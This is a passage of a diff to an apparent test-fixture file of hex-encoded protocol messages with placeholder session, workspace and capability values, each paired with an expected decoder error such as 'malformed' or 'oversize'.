6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2266616d696c79223a2266616d696c792d616c706861222c226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d7d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "malformed" }, { "name": "conversations-provider-over-4k", "direction": "down", - "hex": "574d58310101000001000000651b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000a21b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "oversize" }, { "name": "conversations-boot-ids-differ-across-items", "direction": "down", - "hex": "574d583101010000010000007e0b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": 